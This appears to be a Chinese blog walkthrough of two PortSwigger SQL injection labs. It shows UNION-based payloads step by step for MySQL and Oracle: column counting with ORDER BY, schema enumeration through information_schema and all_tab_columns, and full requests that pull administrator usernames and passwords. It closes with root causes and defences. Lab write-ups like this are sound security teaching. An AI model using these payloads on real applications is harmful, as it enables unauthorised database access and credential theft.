PortSwigger SQL注入LAB5 & LAB6
这两道实验都属于 UNION 联合查询注入的延伸题。它们的共同点很明显：都是从产品类别过滤器切入，先确认注入点，再判断列数，最后把数据库中的结构信息回显到页面里。
但它们的数据库环境并不一样：一题侧重 MySQL，另一题侧重 Oracle。正因为如此，注释符、系统视图这些细节会有差别，所以我把这两个 LAB 放在一起来分享，也顺便做个对比。
【本篇目标】
- 先用 MySQL 题目演示一下，我是怎么从列数探测一路做到字段枚举，最后拿到 administrator 的密码并登录的。
- 再补一段 Oracle 分支，看看同样的题目在 Oracle 中换一种思路是怎样的。
一、先记住这类题的通用思路
这类 UNION 注入题的主线其实不复杂，我一般会把它概括成四步：
- 确认注入点，通常是一个看起来普通的分类参数。
- 通过
ORDER BY n判断原查询有几列。 - 用
NULL对齐列数，再尝试把敏感数据带到可回显的列里。 - 根据数据库类型调整注释符和系统函数。
如果把这四步牢牢记住，后面再看到相似题型时，基本就是在切换数据库语法，而不是重新发明一套打法。
二、MySQL 分支：通过列名拿到密码
先看 MySQL 这道题。页面上的注入点仍然是 /filter?category=...，我先把后端查询大致推测出来：
SELECT * FROM products WHERE category = 'Gifts'2.1 探测列数
为了让 UNION 语句成立，我得先知道原查询有几列。这里我用 ORDER BY n 逐步测试：
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- 当 ORDER BY 3 报错时，就说明原查询只有 2 列。这一步是后面所有 UNION 注入的前提。
【注释符提醒】
MySQL 中 -- 后面要保留空格；如果在 URL 里直接用，记得把空格写成 + 或 %20。
本篇后续示例统一用 -- 书写，方便阅读。
2.2 从信息架构里找字段
这道题的核心不是直接猜表名，而是先枚举数据库元数据。information_schema.columns 里面保存了列名信息，所以我先拿它来找用户名和密码字段：
SELECT * FROM products WHERE category = '' UNION SELECT NULL, column_name FROM information_schema.columns -- 筛选结果里会出现两个很显眼的字段：username_vadgwn 和 password_txeztd。
2.3 反查表名
拿到列名之后，我再反查它们来自哪个表：
SELECT * FROM products WHERE category = '' UNION SELECT NULL, table_name FROM information_schema.columns WHERE column_name = 'username_vadgwn' --
SELECT * FROM products WHERE category = '' UNION SELECT NULL, table_name FROM information_schema.columns WHERE column_name = 'password_txeztd' -- 两次查询都指向同一个表 users_teluls，说明凭据都存放在这里。
2.4 回显用户名和密码
既然已经确认表名，我就可以把用户名和密码直接拼到 UNION 结果里：
SELECT * FROM products WHERE category = '' UNION SELECT username_vadgwn, password_txeztd FROM users_teluls -- 最终请求可以写成：
GET /filter?category=' UNION SELECT username_vadgwn,password_txeztd FROM users_teluls --+ HTTP/2把回显结果中的 administrator 密码填回登录页，就能直接通过认证。
【MySQL 分支 Payload】
' UNION SELECT username_vadgwn,password_txeztd FROM users_teluls --
三、Oracle 分支：通过表名拿到密码
Oracle 题和上面的 MySQL 题思路几乎相同，不过我想换一种方法，也就是先查表名，再通过列名来验证是否为正确目标。
3.1 查询表名
在 MySQL 中，我们是通过"人肉扫描"的办法来寻找可疑项的；这一次我打算改成用 LIKE 搭配通配符来做模糊搜索。
还有一点要注意的是大小写问题。为了防止大小写不一致导致查询结果缺失，这里我用了一个 upper 函数把 table_name 转成大写，这样搜索时就不会区分大小写了。
SELECT * FROM products WHERE category = '' UNION SELECT NULL, table_name FROM all_tables WHERE upper(table_name) LIKE '%USER%' -- 通过模糊搜索表名，我找到了可疑表名 USERS_NRCXBC。
3.2 检索列名
接下来我再看一下表中的列，是不是我要找的用户名和密码。
SELECT * FROM products WHERE category = '' UNION SELECT NULL, column_name FROM all_tab_columns WHERE table_name = 'USERS_NRCXBC' -- 可以看到表中的列名分别为 EMAIL、PASSWORD_EBXMBT、USERNAME_MUXIWC，说明凭据确实存放在这张表里。
3.3 回显用户名和密码
确定了表名和列名之后，我就可以把用户名和密码直接拼到 UNION 结果里了：
SELECT * FROM products WHERE category = '' UNION SELECT USERNAME_MUXIWC, PASSWORD_EBXMBT FROM USERS_NRCXBC -- 最终请求可以写成：
GET /filter?category=' UNION SELECT USERNAME_MUXIWC,PASSWORD_EBXMBT FROM USERS_NRCXBC --+ HTTP/2把回显结果中的 administrator 密码填回登录页，就能直接通过认证。
【Oracle 分支 Payload】
' UNION SELECT USERNAME_MUXIWC,PASSWORD_EBXMBT FROM USERS_NRCXBC --
四、两者的区别
如果把这两道题放在一起看，最容易混淆的地方其实不是 UNION 的写法，而是数据库环境的切换。前面的操作步骤看起来差不多，但真正落地时，我还是得跟着数据库类型去调整注释符、系统视图和回显思路。
| 对比项 | MySQL 分支 | Oracle 分支 |
|---|---|---|
| 注释符 | 常用 -- ，注意后面要带空格 |
同样可以用 -- ，但更要留意 URL 编码 |
| 元数据视图 | 主要看 information_schema.columns |
主要看 all_tables 和 all_tab_columns |
| 查询思路 | 先找列名，再反查表名，最后回显用户名和密码 | 先模糊匹配表名，再确认列名，最后把目标字段直接拼进 UNION |
所以本质上它们还是同一道类型题：先确认注入点，再判断列数，再按数据库语法去找元数据。只要把这个顺序稳住，后面换成别的数据库，也只是细节在变，思路不会变。
五、总结与防御建议
这两道实验都属于 UNION 联合查询注入，它们共同暴露出的问题也很一致：用户输入直接拼接进 SQL，错误信息被回显，数据库元数据也没有被限制。
根本成因我整理成三点：
- 产品类别过滤器参数被直接拼接到 SQL 语句中，未做安全处理；
- 应用将数据库错误直接回显给客户端，为列数探测和结构枚举提供反馈；
- 数据库账户和敏感表结构缺乏最小权限隔离，导致凭据或版本信息可被直接读取。
防御措施我也简单列一下：
- 参数化查询 ------ 将 SQL 代码与用户数据彻底分离；
- 关闭详细错误回显 ------ 生产环境屏蔽数据库报错细节，避免泄露结构信息；
- 限制系统元数据访问 ------ 对
information_schema等元数据视图进行访问控制； - 最小权限原则 ------ 数据库账户仅授予必要权限；
- 统一审计和告警 ------ 对高频的
ORDER BY、UNION、系统视图访问行为做监控。
如果把这两道题放在一起看，最值得记住的不是具体 payload，而是思路：先确认注入点，再判断列数，再看数据库能提供哪些结构信息，最后把正确的数据放进正确的列里。只要这个顺序不乱，换数据库、换字段名、换系统视图，实际上都只是细节变化。
博客园技术分享 · 请勿用于非法测试